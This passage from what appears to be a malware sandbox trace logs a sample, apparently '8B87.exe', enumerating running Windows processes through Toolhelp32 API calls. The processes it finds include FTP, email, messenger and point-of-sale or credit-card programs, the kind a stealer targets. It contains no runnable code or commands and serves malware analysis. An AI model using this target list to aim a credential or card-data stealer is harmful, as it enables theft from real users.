lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0233.282] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.284] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.286] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0233.288] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0233.289] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0233.291] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0233.292] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0233.294] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0233.296] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0233.298] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0233.300] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0233.301] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0233.305] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0233.306] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0233.308] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0233.310] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0233.311] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0233.313] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0233.347] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0233.350] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.352] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.353] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.355] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.357] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.359] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.361] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.364] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.366] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.368] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.371] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.373] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.377] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.379] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.382] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.384] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.386] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.390] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.392] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.395] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.397] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.399] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.401] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.403] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.405] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.408] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.410] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.412] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.414] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.416] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.418] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.420] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.423] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.425] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.427] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0233.428] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0233.430] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0233.432] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0233.434] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0233.436] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0233.438] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0233.440] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0233.442] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0233.444] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.446] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.447] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.449] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0233.451] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0233.453] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.489] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0233.491] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0233.493] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0233.495] CloseHandle (hObject=0x2064) returned 1 [0233.495] Sleep (dwMilliseconds=0x64) [0233.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0233.560] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.563] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.564] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.567] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.568] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.572] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.573] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.575] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.577] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.578] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.580] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, 